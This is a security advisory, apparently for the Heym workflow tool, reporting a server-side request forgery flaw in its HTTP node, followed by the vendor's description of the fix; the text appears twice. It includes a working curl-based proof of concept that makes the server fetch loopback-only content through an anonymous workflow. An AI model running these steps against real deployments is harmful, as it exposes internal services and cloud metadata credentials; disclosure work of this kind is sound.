Summary
The HTTP workflow node in Heym makes outbound HTTP requests to user-supplied URLs without validation of the target host or IP address. If a workflow author has already configured an HTTP node that targets internal addresses such as cloud metadata endpoints or private network hosts, and exposed the workflow with anonymous execution, an unauthenticated attacker can trigger the preconfigured SSRF sink. The same project has comprehensive SSRF protection in its MCP integration, which is absent from the HTTP node.
POC
The original one-step workflow creation payload is not accepted by the current API because POST /api/workflows only creates the workflow shell. The workflow nodes and auth_type must be set with a follow-up PUT /api/workflows/{id} request.
Step 1: Start an internal-only proof server
On the Heym server, start a service bound only to loopback:
mkdir -p /tmp/heym-ssrf-proof
printf "SSRF_PROOF_%s\n" "$(date +%s)" > /tmp/heym-ssrf-proof/ssrf-proof
python3 -m http.server 18080 --bind 127.0.0.1 --directory /tmp/heym-ssrf-proof
From an external machine, confirm it is not directly reachable:
curl http://<heym-server-ip>:18080/ssrf-proof
Expected result: connection fails.
Step 2: Register or log in
curl -s -X POST http://<heym-server-ip>:10105/api/auth/register \
-H "Content-Type: application/json" \
-d '{
"email": "ssrf-poc@example.com",
"password": "PocPassw0rd!",
"name": "SSRF PoC"
}'
Save the returned access_token.
Step 3: Create a workflow
curl -s -X POST http://<heym-server-ip>:10105/api/workflows \
-H "Authorization: Bearer <access_token>" \
-H "Content-Type: application/json" \
-d '{
"name": "SSRF PoC"
}'
Save the returned workflow id.
Step 4: Add an HTTP node targeting loopback and allow anonymous execution
curl -s -X PUT http://<heym-server-ip>:10105/api/workflows/<workflow_id> \
-H "Authorization: Bearer <access_token>" \
-H "Content-Type: application/json" \
-d '{
"nodes": [
{
"id": "http1",
"type": "http",
"position": { "x": 100, "y": 100 },
"data": {
"label": "ssrfHttp",
"curl": "curl http://127.0.0.1:18080/ssrf-proof"
}
}
],
"edges": [],
"auth_type": "anonymous"
}'
Step 5: Execute the workflow anonymously
curl -s -X POST http://<heym-server-ip>:10105/api/workflows/<workflow_id>/execute \
-H "Content-Type: application/json" \
-H "x-simple-response: false" \
-d '{
"inputs": {}
}'
Expected Result
The response includes the body returned by the loopback-only service:
{
"status": "success",
"outputs": {
"ssrfHttp": {
"status": 200,
"body": "SSRF_PROOF_...",
"request": {
"method": "GET",
"url": "http://127.0.0.1:18080/ssrf-proof"
}
}
}
}
The proof server logs also show that the request came from the Heym server itself:
127.0.0.1 - - "GET /ssrf-proof HTTP/1.1" 200 -
This demonstrates SSRF because the attacker cannot access the loopback-bound service directly over the network, but can cause the Heym backend to request it through the HTTP workflow node.
Impact
An attacker who can trigger a vulnerable preconfigured anonymous workflow can use the Heym backend to access localhost, private-network, link-local, or cloud metadata HTTP(S) endpoints. This may expose internal HTTP services or cloud metadata responses that are not directly reachable by the attacker. Cloud credential theft or broader cloud compromise is possible only when the deployment environment exposes useful metadata credentials.
Heym Team
The HTTP node now validates its target before connecting and refuses hosts that resolve to loopback, private, link-local, multicast, or cloud metadata addresses. The resolved IP is pinned at connection time and the node always dials directly, so DNS rebinding, redirect chains, and environment proxies cannot be used to reach an internal target. Self-hosted operators who intentionally call internal services can opt out with HEYM_HTTP_ALLOW_PRIVATE_URLS=true. Thanks to @0neOfU4 for the report and for the follow up .
Summary
The HTTP workflow node in Heym makes outbound HTTP requests to user-supplied URLs without validation of the target host or IP address. If a workflow author has already configured an HTTP node that targets internal addresses such as cloud metadata endpoints or private network hosts, and exposed the workflow with anonymous execution, an unauthenticated attacker can trigger the preconfigured SSRF sink. The same project has comprehensive SSRF protection in its MCP integration, which is absent from the HTTP node.
POC
The original one-step workflow creation payload is not accepted by the current API because
POST /api/workflowsonly creates the workflow shell. The workflow nodes andauth_typemust be set with a follow-upPUT /api/workflows/{id}request.Step 1: Start an internal-only proof server
On the Heym server, start a service bound only to loopback:
From an external machine, confirm it is not directly reachable:
Expected result: connection fails.
Step 2: Register or log in
Save the returned
access_token.Step 3: Create a workflow
Save the returned workflow
id.Step 4: Add an HTTP node targeting loopback and allow anonymous execution
Step 5: Execute the workflow anonymously
Expected Result
The response includes the body returned by the loopback-only service:
{ "status": "success", "outputs": { "ssrfHttp": { "status": 200, "body": "SSRF_PROOF_...", "request": { "method": "GET", "url": "http://127.0.0.1:18080/ssrf-proof" } } } }The proof server logs also show that the request came from the Heym server itself:
This demonstrates SSRF because the attacker cannot access the loopback-bound service directly over the network, but can cause the Heym backend to request it through the HTTP workflow node.
Impact
An attacker who can trigger a vulnerable preconfigured anonymous workflow can use the Heym backend to access localhost, private-network, link-local, or cloud metadata HTTP(S) endpoints. This may expose internal HTTP services or cloud metadata responses that are not directly reachable by the attacker. Cloud credential theft or broader cloud compromise is possible only when the deployment environment exposes useful metadata credentials.
Heym Team
The HTTP node now validates its target before connecting and refuses hosts that resolve to loopback, private, link-local, multicast, or cloud metadata addresses. The resolved IP is pinned at connection time and the node always dials directly, so DNS rebinding, redirect chains, and environment proxies cannot be used to reach an internal target. Self-hosted operators who intentionally call internal services can opt out with HEYM_HTTP_ALLOW_PRIVATE_URLS=true. Thanks to @0neOfU4 for the report and for the follow up .